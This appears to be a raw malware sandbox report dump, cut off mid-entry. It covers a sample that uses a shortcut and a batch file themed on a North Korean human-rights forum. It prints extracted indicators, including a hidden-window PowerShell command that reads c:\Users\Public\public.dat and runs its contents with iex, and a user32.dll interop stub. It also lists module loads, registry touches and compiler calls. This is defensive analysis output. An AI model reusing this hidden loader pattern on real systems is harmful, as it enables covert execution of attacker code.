loaded module "MSISO.DLL" at base 72890000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 77170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73cc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 72650000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPRESOLVER.DLL" at base 72100000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 76900000 "powershell.exe" loaded module "CSCAPI.DLL" at base 72640000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 720e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 716d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 681f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6ffa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6e9a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 67a70000 "powershell.exe" loaded module "AMSI.DLL" at base 72060000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f4a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6e640000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f390000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6f340000 "powershell.exe" loaded module "SECUR32.DLL" at base 721e0000 "powershell.exe" loaded module "WLDP.DLL" at base 6f320000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f280000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 73c90000 "powershell.exe" loaded module "OLEAUT32" at base 73e20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 6e560000 "powershell.exe" loaded module "RASMAN.DLL" at base 6e530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 741e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72580000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 6e480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6e470000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6e420000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72170000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 6e410000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6e3a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 679600003b:T104f,file/memory contains long string with (Indicator: "Write-Host"; File: "???????????? ???????? ???????.lnk") file/memory contains long string with (Indicator: "New-Object"; File: "???????????? ???????? ???????.lnk") Found string "start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Write-Host"; File: "#Ubd81#Ud55c#Uc778#Uad8c #Uc804#Ubb38#Uac00 #Ud1a0#Ub860#Ud68c061223.bat") file/memory contains long string with (Indicator: "powershell_ise.exe"; File: "2Q3UZDYZ5HN3J10JZNYD.temp") file/memory contains long string with (Indicator: "New-Object"; File: "cmd.exe") file/memory contains long string with (Indicator: "New-Object"; File: "powershell.exe") Found string "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Write-Host"; File: "powershell.exe") Found string "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Write-Host"; Source: "00000000-00004464.00000000.123003.026C0000.00000004.mdmp, 00000000-00004464.00000001.124922.026C0000.00000004.mdmp, 00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00004464.00000000.123003.026C0000.00000004.mdmp, 00000000-00004464.00000000.123003.029D0000.00000004.mdmp") Found string ":\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Write-Host"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ReadError -ErrorId "FileReadError" -TargetObject $FilePath" (Indicator: "Write-Error"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollectionObject" (Indicator: "Write-Output"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -LiteralPath $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Indicator: "Write-Error"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::ParserError) -ErrorId "FormatHexFailureTypeNotSupported"" (Indicator: "Write-Error"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "foreach($resolvedPath in (Resolve-Path @PSBoundParameters))" (Indicator: "Resolve-Path"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp")3c:Ta53,"powershell.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "powershell.exe" touched "Adobe Acrobat Document" (Path: "HKCU\WOW6432NODE\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Ptype_PSFactory" (Path: "HKCU\WOW6432NODE\CLSID\{11659A23-5884-4D1B-9CF6-67D6F4F90B36}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\WOW6432NODE\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\WOW6432NODE\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")3d:Tc4c,Observed system executable string:"CFSFAppDataRoamingXgN.MICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkv30mhulsryz4zuu'KPv'KPv1SPS1SPS/C:\WindowsXJN.System32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exev30mhulsryz4zuu1SPS1SPS/C:\WindowsXJN.System32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exev30mhulsryz4zuu1SPS1SPS" [Source: 2Q3UZDYZ5HN3J10JZNYD.temp] Observed system executable string:"%WINDIR%\SysWOW64\cmd.exe" [Source: 00000000-00005204-00000BC0-880628084] Observed system executable string:"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00005204-00000BC0-881314617] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00005204-00000C41-1414865982] Observed system executable string:"%WINDIR%\system32\cmd.exe /c dir %WINDIR%\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od" [Source: 00000000-00005204-00000C41-1414865982] Observed system executable string:"%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00005204-00000C41-3061894512] Observed system executable string:"%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropSer" [Source: 00000000-00005204-00000C41-3061894512], Observed system executable string:""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\3gli4njl\3gli4n" [Source: 00000000-00008260-00000C41-22855563004] Observed system executable string:"%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "%PUBLIC%\publi" [Source: 00000000-00000244-00000C41-1912887610], Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00004464-00000C28-4632489280], Observed system executable string:""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\x0ckcpo4\x0ckcp" [Source: 00000000-00004464-00000C41-24528001344] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\3voxxt4g\3voxxt" [Source: 00000000-00004464-00000C41-30743523072], Observed system executable string:""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\c2iwyi10\c2iwyi" [Source: 00000000-00004464-00000C41-31453657778] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\vppfuper\vppfup" [Source: 00000000-00004464-00000C41-32176508866], Observed system executable string:"%WINDIR%\system32\cmd.exe /c ""%PUBLIC%\북한인권 전문가 토론회061223.bat""" [Source: cmd.exe]3e:T1eb8,Process "csc.exe" (UID: 00000000-00008840) was launched with new environment variables: "computername="V30MhuLsrYz4ZuU", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\(x86)\Common Files", homedrive="C:", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="%ALLUSERSPROFILE%\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\;C:\Users\%OSUSER%\AppData\Local\Microsoft\WindowsApps;;C:\Program Files\mitmproxy\bin", comspec="%WINDIR%\system32\cmd.exe", homepath="\Users\XW6RzVM", sessionname="Console", tmp="%LOCALAPPDATA%\Temp", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\XW6RzVM", number_of_processors="2", programfiles="%PROGRAMFILES%\(x86)", processor_level="6", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architew6432="AMD64", processor_architecture="x86", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", logonserver="%HOSTNAME%", systemroot="C:\WINDOWS", userdomain="V30MhuLsrYz4ZuU", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", programdata="C:\ProgramData", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", prompt="$P$G", _clrrestrictsecattributes="1", systemdrive="C:", appdata="%USERPROFILE%\AppData\Roaming", username="XW6RzVM"" Process "csc.exe" (UID: 00000000-00008840) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, USERNAME, ProgramFiles(x86), PATHEXT, PROCESSOR_ARCHITEW6432, ProgramData, ProgramW6432, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, PROMPT, OneDrive, APPDATA, CommonProgramFiles, Path, OS, COMPUTERNAME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, SystemRoot, TEMP, HOMEDRIVE, USERPROFILE, TMP, CommonProgramFiles(x86), NUMBER_OF_PROCESSORS" Process "AcroRd32.exe" (UID: 00000000-00007152) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="x86", PSModulePath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", SystemDrive="C:", USERNAME="XW6RzVM", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", PROCESSOR_ARCHITEW6432="AMD64", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\XW6RzVM", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="%PROGRAMFILES%\(x86)", PUBLIC="C:\Users\Public", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="V30MhuLsrYz4ZuU", LOGONSERVER="%HOSTNAME%", PROMPT="$P$G", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", CommonProgramFiles="%PROGRAMFILES%\(x86)\Common Files", Path="C:\Program Files (x86)\Adobe\Reader 11.0\Reader\;%ALLUSERSPROFILE%\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\;C:\Users\%OSUSER%\AppData\Local\Microsoft\WindowsApps;;C:\Program Files\mitmproxy\bin", OS="Windows_NT", COMPUTERNAME="V30MhuLsrYz4ZuU", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", HOMEDRIVE="C:", USERPROFILE="C:\Users\XW6RzVM", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", NUMBER_OF_PROCESSORS="2"" Process "AcroRd32.exe" (UID: 00000000-00007152) was launched with missing environment variables: "computername, programw6432, commonprogramfiles, homedrive, pathext, path, comspec, homepath, sessionname, tmp, processor_revision, localappdata, sslkeylogfile, userprofile, number_of_processors, programfiles, processor_level, userdomain_roamingprofile, commonprogramfiles(x86), processor_architew6432, processor_architecture, processor_identifier, logonserver, systemroot, userdomain, commonprogramw6432, allusersprofile, public, temp, os, programdata, programfiles(x86), psmodulepath, onedrive, prompt, _clrrestrictsecattributes, systemdrive, appdata, username" Process "cmd.exe" (UID: 00000000-00000244) was launched with modified environment variables: "Path" Process "csc.exe" (UID: 00000000-00006672) was launched with new environment variables: "computername="V30MhuLsrYz4ZuU", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\(x86)\Common Files", homedrive="C:", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="%ALLUSERSPROFILE%\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\;C:\Users\%OSUSER%\AppData\Local\Microsoft\WindowsApps;;C:\Program Files\mitmproxy\bin", comspec="%WINDIR%\system32\cmd.exe", homepath="\Users\XW6RzVM", sessionname="Console", tmp="%LOCALAPPDATA%\Temp", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\XW6RzVM", number_of_processors="2", programfiles="%PROGRAMFILES%\(x86)", processor_level="6", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architew6432="AMD64", processor_architecture="x86", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", logonserver="%HOSTNAME%", systemroot="C:\WINDOWS", userdomain="V30MhuLsrYz4ZuU", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", programdata="C:\ProgramData", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", prompt="$P$G", _clrrestrictsecattributes="1", systemdrive="C:", appdata="%USERPROFILE%\AppData\Roaming", username="XW6RzVM"" Process "csc.exe" (UID: 00000000-00006672) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, USERNAME, ProgramFiles(x86), PATHEXT, PROCESSOR_ARCHITEW6432, ProgramData, ProgramW6432, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, PROMPT, OneDrive, APPDATA, CommonProgramFiles, Path, OS, COMPUTERNAME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, SystemRoot, TEMP, HOMEDRIVE, USERPROFILE, TMP, CommonProgramFiles(x86), NUMBER_OF_PROCESSORS"3f:T1591,Observed system executable string:"/kfor /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' +" [Source: ???????????? ???????? ???????.lnk], Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\3gli4njl\3gli4njl.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\3gli4njl\3gli4njl.0.cs"" [Source: 3gli4njl.cmdline], Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\c2iwyi10\c2iwyi10.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\c2iwyi10\c2iwyi10.0.cs"" [Source: c2iwyi10.cmdline], Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.0.cs"" [Source: x0ckcpo4.cmdline], Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\3voxxt4g\3voxxt4g.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\3voxxt4g\3voxxt4g.0.cs"" [Source: 3voxxt4g.cmdline], Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\vppfuper\vppfuper.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\vppfuper\vppfuper.0.cs"" [Source: vppfuper.cmdline], Observed system executable string:"%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropSer" [Source: 00000000-00005204-00000C41-3061894512] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00008260-00000C25-881972976] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00008260-00000C25-882243886] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00008260-00000C25-882399564] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00008260-00000C25-882462936] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00008260-00000C25-882520980] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00008260-00000C25-882542145] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00008260-00000C25-882582003] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00008260-00000C25-882631329] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00008260-00000C25-882832872] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 